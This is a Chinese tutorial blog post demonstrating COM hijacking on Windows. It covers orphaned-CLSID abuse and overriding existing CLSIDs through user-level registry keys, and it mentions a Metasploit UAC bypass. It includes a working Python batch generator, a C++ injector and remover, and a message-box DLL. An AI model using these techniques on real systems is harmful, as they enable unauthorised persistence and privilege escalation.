COM劫持實戰演示
何為comCOM是Component Object Model (組件對象模型)的縮寫。
COM是微軟公司為了計算機工業的軟件生產更加符合人類的行為方式開發的一種新的軟件開發技術。在COM構架下,人們可以開發出各種各樣的功能專一的組件,然后將它們按照需要組合起來,構成復雜的應用系統。
COM是開發軟件組件的一種方法。組件實際上是一些小的二進制可執行程序,它們可以給應用程序,操作系統以及其他組件提供服務。開發自定義的COM組件就如同開發動態的,面向對象的API。多個COM對象可以連接起來形成應用程序或組件系統。并且組件可以在運行時刻,在不被重新鏈接或編譯應用程序的情況下被卸下或替換掉。Microsoft的許多技術,如ActiveX, DirectX以及OLE等都是基于COM而建立起來的。并且Microsoft的開發人員也大量使用COM組件來定制他們的應用程序及操作系統。
這里有一個問題,為什么要用com組件呢?
com組件主要是解決了代碼共用以及版本問題、能夠調用其他軟件的功能、所有代碼都能夠面向對象
com與注冊表的關系注冊表大家都應該比較熟悉,他主要具有一些特殊的數據類型來存儲一些數據滿足應用程序的需要,主要有以下幾個
HKEY_CLASSES_ROOT 用于存儲一些文檔類型、類、類的關聯屬性
HKEY_CURRENT_CONFIG 用戶存儲有關本地計算機系統的當前硬件配置文件信息
HKEY_CURRENT_USER 用于存儲當前用戶配置項
HKEY_CURRENT_USER_LOCAL_SETTINGS 用于存儲當前用戶對計算機的配置項
HKEY_LOCAL_MACHINE 用于存儲當前用戶物理狀態
HKEY_USERS 用于存儲新用戶的默認配置項
CLSID
class identifier(類標識符)也稱為CLASSID或CLSID,是與某一個類對象相聯系的唯一標記(UUID)。一個準備創建多個對象的類對象應將其CLSID注冊到系統注冊數據庫的任務表中,以使客戶能夠定位并裝載與該對象有關的可執行代碼。
當初微軟設計com規范的時候,有兩種選擇來保證用戶的設計的com組件可以全球唯一:
第一種是采用和Internet地址一樣的管理方式,成立一個管理機構,用戶如果想開發一個COM組件的時候需要向該機構提出申請,并交一定的費用。
第二種是發明一種算法,每次都能產生一個全球唯一的COM組件標識符。
第一種方法,用戶使用起來太不方便,微軟采用第二種方法,并發明了一種算法,這種算法用GUID(Globally Unique Identifiers)來標識COM組件,GUID是一個128位長的數字,一般用16進制表示。算法的核心思想是結合機器的網卡、當地時間、一個隨即數來生成GUID。從理論上講,如果一臺機器每秒產生10000000個GUID,則可以保證(概率意義上)3240年不重復。
也就是說CLSID就是對象的身份證號,而當一個應用程序想要調用某個對象時,也是通過CLSID來尋找對象的。比如我的電腦的CLSID就為{20D04FE0-3AEA-1069-A2D8-08002B30309D},控制面板的CLSID就為{21EC2020-3AEA-1069-A2DD-08002B30309D}
CLSID的路徑位于HKEY_CLASSES_ROOT\CLSID

CLSID其實是一個結構體,結構如下
typedef struct _GUID {
DWORD Data1; // 隨機數
WORD Data2; // 和時間相關
WORD Data3; // 和時間相關
BYTE Data4[8]; // 和網卡MAC相關
} GUID;
typedef GUID CLSID; // 組件ID
typedef GUID IID; // 接口ID
com劫持前面說了這么多的基礎知識來到今天的正文,首先要了解com組件的加載過程,com組件會根據以下路徑去尋找
HKCU\Software\Classes\CLSID
HKCR\CLSID
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\shellCompatibility\Objects\
那么我們如果想要進行com劫持,肯定挑選的是首先尋找的路徑,即HKCU\Software\Classes\CLSID ,我們可以直接在CLSID下新建一個對象ID,與dll劫持不同的是,dll劫持只能劫持dll,局限性比較大,但是com組件能夠劫持如.com文件、pe文件、api文件等等
COM對象是注冊表中對磁盤上沒有實現文件的對象的引用。例如,在注冊表項HKCU \ CLSID \ {xxxx} \ InprocServer32 \ Default下,其中{xxxx}是COM對象的相應GUID,您應該找到對文件yyy.dll的引用。如果磁盤上不存在此文件或缺少“(默認)”條目,則請求訪問此對象的進程將失敗。
那么這可以衍生出兩種思路,第一種思路就是尋找被“遺棄“的com鍵進行劫持,那么何為被"遺棄"的com鍵呢?
在一些程序卸載后,注冊表內的com鍵會被遺留下來,即處于為注冊的狀態,這個com鍵會指向一個路徑里面的dll,但是因為這個程序已經被卸載了,所以肯定是找不到這個dll的,那么這里我們就可以修改這個com鍵指向的路徑來完成我們自己dll的加載0
第二種思路就是覆蓋COM對象,在HKCU注冊表中添加正確的鍵值后,當引用目標COM對象時,HKLM中的鍵值就會被覆蓋(并且“添加”到HKCR中)。
實現com劫持之前在實戰的過程中在msf上拿到了user權限的shell,但是直接getsystem不能夠提到系統權限,用到了bypassuac之后得到了系統權限的dll,那么這里首先看一下msf是怎么實現com劫持bypassuac的
首先拿到一個shell直接getsystem提權失敗

然后使用com組件bypassuac

首先我把uac調到最高

發現這里報錯,因為UAC is set to Always Notify,也就是說最高級的uac好像繞不過

然后我把uac調整到默認級別

發現msf劫持的是HKCU\Software\classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931},dll的位置在C:\Users\messi \AppData\Local\Temp\LlvIwfwd.dll

那么思路就清晰了,我們就需要修改注冊表,然后讓注冊表的路徑指向我們存放dll的路徑即可
利用缺失的CLSID這里我選擇的是對計算器進行com劫持,首先找一下缺少的CLSID并在InprocServer32下

找到了幾個能夠劫持的com組件

保存并導出為Logfile.CSV

然后寫一個py腳本,批量循環添加注冊表指向dll路徑并生成一個com_hijack.bat
reg add [PATH] /ve /t REG_SZ /d C:\\Users\\Administrator\\testdll.dll /f
完整代碼如下
import csv
class Inject(object):
def __init__(self):
self.path='Logfile.CSV'
def add(self):
with open(self.path,'r',encoding='utf-8') as r:
g=csv.DictReader(r)
for name in g:
z=[x for x in name]
for i in z:
if 'HK' in str(name[i]):
print('reg add {} /ve /t REG_SZ /d C:\\Users\\Administrator\\Desktop\\testdll.dll /f'.format(name[i]),file=open('com_hijack.bat','a',encoding='utf-8'))
if __name__ == '__main__':
obj=Inject()
obj.add()
print('[!] Administrator run com_hijack.bat')
執行py

即在目錄下生成一個com_hijack.bat,使用管理員權限運行

設置過濾條件發現已經成功劫持

覆蓋存在的CLSID這里覆蓋存在的CLSID就需要盡可能挑選應用范圍廣的,這里選擇計算器進行劫持,對應的CLSID為{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},這個CLSID可以實現對CAccPropServicesClass和MMDeviceEnumerator實例的劫持
進行注冊表的創建用到的api為RegCreateKeyExA,結構如下
LONG RegCreateKeyEx( HKEY hKey, // handle to open key LPCTSTR lpSubKey, // subkey name DWORD Reserved, // reserved LPTSTR lpClass, // class string DWORD dwOptions, // special options REGSAM samDesired, // desired security access LPSECURITY_ATTRIBUTES lpSecurityAttributes, // inheritance PHKEY phkResult, // key handle LPDWORD lpdwDisposition // disposition value buffer );
hkey:注冊表的句柄
lpSubKey:此函數打開或創建的子項的名稱,不能為NULL
Reserved:保留參數,必須為0
lpClass:該鍵的用戶定義類類型。可以忽略此參數。此參數可以為NULL
dwOptions:有幾個參數,這里就不寫了
samDesired:指定要創建的密鑰的訪問權限的掩碼
lpSecurityAttributes:指向SECURITY_ATTRIBUTES結構的指針
phkResult:指向接收打開或創建的鍵的句柄的變量的指針
lpdwDisposition:指向接收處置值之一的變量的指針
函數執行成功則返回ERROR_SUCCESS,函數執行失敗則為非零錯誤代碼
修改注冊表的屬性用到的api為RegSetValueExA
LSTATUS RegSetValueExW( HKEY hKey, LPCWSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE *lpData, DWORD cbData );
hkey:注冊表的句柄
lpValueName:要設置的值的名稱
Reserved:保留值,必須為0
dwType:lpData參數指向的數據類型
lpData:要存儲的數據
cbData:lpData參數指向的信息的大小,以字節為單位
函數執行成功則返回 ERROR_SUCCESS,函數執行失敗則返回非零錯誤代碼
那么首先使用RegCreateKeyExA創建注冊表
RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",
0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
再用RegCreateKeyExA設置DLL文件的屬性
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1)))
然后再設置InprocServer32下的ThreadingModel屬性,這里我們隨便打開一個CLSID里面的InprocServer32文件夾,發現都是由一個dll文件的路徑 + 一個ThreadingModel組成的,這個ThreadingModel鍵值是用來標記dll的線程模型,它代表容納此COM 類的載體應當是一個動態鏈接庫,對應的值就為Apartment

那我們定義一個數組,再修改ThreadingModel的值即可完成InprocServer32屬性的修改
char system2[] = "Apartment"; RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2)))
對應的,我們進行com劫持完成之后,也需要寫一個卸載的代碼,這里就不細說了直接貼上來,跟前面的思路差不多,使用到RegDeleteValueA刪除注冊表屬性即可,代碼如下
RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",
0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)
RegDeleteValueA(hKey, NULL)
RegDeleteValueA(hKey, "ThreadingModel")
完整代碼如下
// COMInject.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。
//
#include <iostream>
#include <Windows.h>
#include <string>
using namespace std;
BOOL COMInject()
{
HKEY hKey;
DWORD dwDisposition;
char system1[] = "C:\\Users\\administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\comInject.dll";
char system2[] = "Apartment";
string defaultPath = "C:\\Users\\administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";
string szSaveName = "C:\\Users\\administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\comInject.dll";
{
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",
0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
printf("創建注冊表失敗!");
return 0;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1))))
{
printf("設置DLL文件失敗!");
return 0;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2))))
{
printf("設置ThreadingModel失敗!");
return 0;
}
::MessageBoxA(NULL, "comInject OK", "", MB_OK);
}
}
BOOL UnCOMInject()
{
HKEY hKey;
DWORD dwDisposition;
string defaultPath = "C:\\Users\\administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";
string szSaveName = "C:\\Users\\messi\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\comInject.dll";
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",
0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
printf("創建注冊表失敗!");
return 0;
}
if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL))
{
printf("移除DLL文件失敗!");
return 0;
}
if (ERROR_SUCCESS != RegDeleteValueA(hKey, "ThreadingModel"))
{
printf("移除ThreadingModel失敗!");
return 0;
}
remove(szSaveName.c_str());
remove(defaultPath.c_str());
::MessageBoxA(NULL, "Delete comInject OK", "", MB_OK);
}
int main(int argc, char* argv[])
{
COMInject();
//UnCOMInject();
return 0;
}
這里就生成一個最簡單的彈窗吧,dll代碼如下:
// dllmain.cpp : 定義 DLL 應用程序的入口點。
# include "pch.h"
# include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(0, "comInject OK", "", 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
首先以管理員權限執行COMInject.exe

然后進入C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer路徑發現創建了{BCDE0395-E52F-467C-8E3D-C4579291692E}這個文件夾

再進入文件夾發現有comInject.dll

再去注冊表里面看一下

發現已經改成了dll存放的路徑


打開計算器即可實現com劫持
